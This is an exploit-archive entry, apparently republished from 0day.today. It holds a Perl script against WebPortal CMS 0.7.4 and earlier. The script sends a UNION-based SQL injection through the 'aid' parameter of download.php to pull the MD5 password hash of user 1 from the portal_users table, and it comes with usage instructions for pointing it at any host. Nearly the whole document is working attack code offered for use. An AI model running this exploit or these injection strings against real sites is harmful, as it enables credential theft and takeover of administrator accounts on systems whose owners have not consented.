WebPortal CMS <= 0.7.4 (download.php aid) SQL Injection Exploit

===============================================================
WebPortal CMS <= 0.7.4 (download.php aid) SQL Injection Exploit
===============================================================


#!/usr/bin/perl
# --==+============================================================================+==--
# --==+            WebPortal <= 0.7.4 Remote SQL Injection Exploit                 +==--    
# --==+============================================================================+==--
# 
#  [*] Discovered By: StAkeR 
#  [+] Discovered On: 12 Sep 2008
#  
#  [*] SQL Injection
#  [+] download.php?aid=1'+union+select+pass,0,0,0,0+from+portal_users+where+id='1
#  [+] get file "download.php" and you can read 
#  
#  [*] Exploit:
#  
 # ----------------------------------------------------------
 # WebPortal <= 0.7.4 Remote SQL Injection Exploit 
 # Author: StAkeR - StAkeR[at]hotmail[dot]it
 # ----------------------------------------------------------
 # Usage: perl http://localhost/cms 
 # ----------------------------------------------------------

 use strict;
 use LWP::Simple;


 my $domain = shift @ARGV or banner();
 my $injsql = "/download.php?aid=1'+union+select+pass,0,0,0,0+from+portal_users+where+id='1";

 if(get($domain.$injsql) =~ /([0-9a-f]{32})/)
 {
   print "[+] Exploit Succesfull!\n";
   print "[+] MD5 Password: ${1}\n";
 }
 else
 {
   print "[!] Exploit Failed!\n";
   print "[!] Site Not Vulnerable!\n";
 }

 sub banner
 {
   print "[+] WebPortal <= 0.7.4 Remote SQL Injection Exploit\n";
   print "[+] Usage: ${0} http://[host]\n";
   return exit;
 }




#  0day.today [2018-01-09]  #